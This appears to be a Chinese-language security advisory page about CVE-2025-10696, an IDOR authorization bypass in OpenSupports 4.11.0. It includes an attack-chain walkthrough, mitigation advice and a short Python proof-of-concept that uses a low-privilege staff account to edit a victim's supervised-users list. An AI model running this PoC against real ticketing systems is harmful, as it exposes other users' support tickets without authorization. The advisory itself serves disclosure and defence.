IPBUF安全漏洞报告
English
CVE-2025-10696 CVSS 5.4 中危

CVE-2025-10696 OpenSupports监督用户列表授权绕过漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-10696
漏洞类型
授权绕过/访问控制缺陷
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenSupports

相关标签

CVE-2025-10696OpenSupports授权绕过访问控制缺陷IDORBroken Access Control工单系统数据泄露中危漏洞Fluid Attacks

漏洞概述

CVE-2025-10696是OpenSupports工单管理系统中存在的一个授权绕过漏洞(Broken Access Control),CVSS评分为5.4,属于中危级别。该漏洞由Fluid Attacks安全团队的Stratovarius发现并报告。OpenSupports是一款开源的客户支持与工单管理系统,广泛用于企业提供在线技术支持服务。

该漏洞的核心问题在于系统暴露了一个用于编辑任意账户"被监督用户"(supervised users)列表的API端点,但该端点未对操作者进行身份所有权验证(ownership validation)。这意味着任何拥有Level 1员工权限的认证用户都可以修改第三方用户(即目标用户)的监督关系列表。当攻击者向目标用户的监督列表中添加其他用户后,被添加的"被监督"用户所关联的工单内容将对目标用户可见。

此漏洞破坏了系统的授权模型,导致用户可以查看本不应属于自己的工单内容,造成跨用户的数据泄露。攻击者无需特殊权限或用户交互,仅需低权限(Level 1员工)账号即可通过网络远程利用该漏洞。受影响的版本为OpenSupports 4.11.0。该漏洞的机密性影响为低,完整性影响为低,不影响可用性。

技术细节

OpenSupports系统在设计用户监督功能时,提供了一个API端点用于管理用户与其"被监督用户"之间的关联关系。该功能的设计初衷是允许管理员或高级用户查看其下属或相关人员的工单信息。

然而,该端点在实现时存在严重的访问控制缺陷:系统在处理监督关系修改请求时,仅验证了请求者是否已通过身份认证(已登录),但未验证请求者是否为该监督列表的实际所有者。也就是说,系统未检查请求中的目标用户ID(target user ID)是否与当前操作用户匹配。

利用方式如下:
1. 攻击者使用Level 1员工账号登录系统。
2. 攻击者构造一个修改监督关系的请求,在请求中指定目标用户ID(而非自己的用户ID),并将要"监督"的用户添加到目标用户的监督列表中。
3. 系统未验证操作权限,直接执行了修改操作。
4. 修改完成后,目标用户的监督列表中包含了攻击者指定的用户。
5. 当目标用户登录系统查看工单时,其监督用户列表中新增用户的工单内容将对目标用户可见。

此漏洞本质上是一个IDOR(Insecure Direct Object Reference,不安全的直接对象引用)问题,属于OWASP Top 10中"Broken Access Control"(破坏的访问控制)类别。修复方案应确保在修改监督关系时,验证当前操作用户是否为目标用户列表的所有者,或检查操作用户是否具有管理员权限。

攻击链分析

STEP 1
步骤1:获取低权限账号
攻击者通过合法途径或社会工程学获取OpenSupports系统的Level 1员工账号,该权限级别足以调用监督用户管理API端点。
STEP 2
步骤2:身份认证
攻击者使用Level 1员工账号登录系统,获取有效的会话凭证(Session Cookie/Token),通过身份认证。
STEP 3
步骤3:构造恶意请求
攻击者构造一个修改监督用户列表的HTTP请求,在请求体中指定目标受害用户的ID(而非自己的用户ID),并将任意用户添加到受害者的监督列表中。
STEP 4
步骤4:发送请求利用漏洞
由于服务端未验证操作者是否为监督列表的所有者,请求被成功处理,受害用户的监督关系被恶意修改。
STEP 5
步骤5:未授权数据访问
修改完成后,当受害用户登录系统查看工单时,其监督列表中被恶意添加的用户的工单内容将对其可见,造成跨用户的数据泄露,破坏了系统的授权模型和工单内容过滤机制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10696 - OpenSupports Supervised Users Authorization Bypass PoC # Vulnerability: IDOR / Broken Access Control in supervised users list editing endpoint # Affected: OpenSupports 4.11.0 # Attacker requirement: Level 1 staff account import requests BASE_URL = "http://target-opensupports-instance.com" SESSION = requests.Session() # Step 1: Authenticate as a Level 1 staff member login_payload = { "email": "[email protected]", "password": "attacker_password" } SESSION.post(f"{BASE_URL}/api/login", json=login_payload) # Step 2: Exploit the IDOR vulnerability # Modify the supervised users list of a TARGET user (not the attacker's own account) # The endpoint does not verify that the actor owns the supervised-users list being modified target_user_id = 2 # ID of the victim user whose supervised list will be modified supervised_user_id = 5 # ID of the user whose tickets the victim should now see poc_payload = { "userId": target_user_id, # Victim's user ID (no ownership check performed) "supervisedUsers": [supervised_user_id] # User to add as supervised } # The vulnerable endpoint accepts this request without verifying ownership response = SESSION.post( f"{BASE_URL}/api/edit-supervised-users", json=poc_payload ) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # Step 3: After successful modification, the victim (target_user_id) will be able # to view tickets belonging to supervised_user_id, breaking the authorization model # and exposing other users' ticket content.

影响范围

OpenSupports 4.11.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)限制Level 1员工账号的分配,仅向可信任的用户发放;2)在Web应用防火墙(WAF)层面添加规则,监控和拦截对监督用户管理API端点的异常请求;3)定期审计用户的监督关系列表,及时发现并清理异常的关系变更;4)监控系统中异常的工单访问行为,特别是跨用户的工单查看操作;5)考虑暂时禁用监督用户功能,直到官方发布修复补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表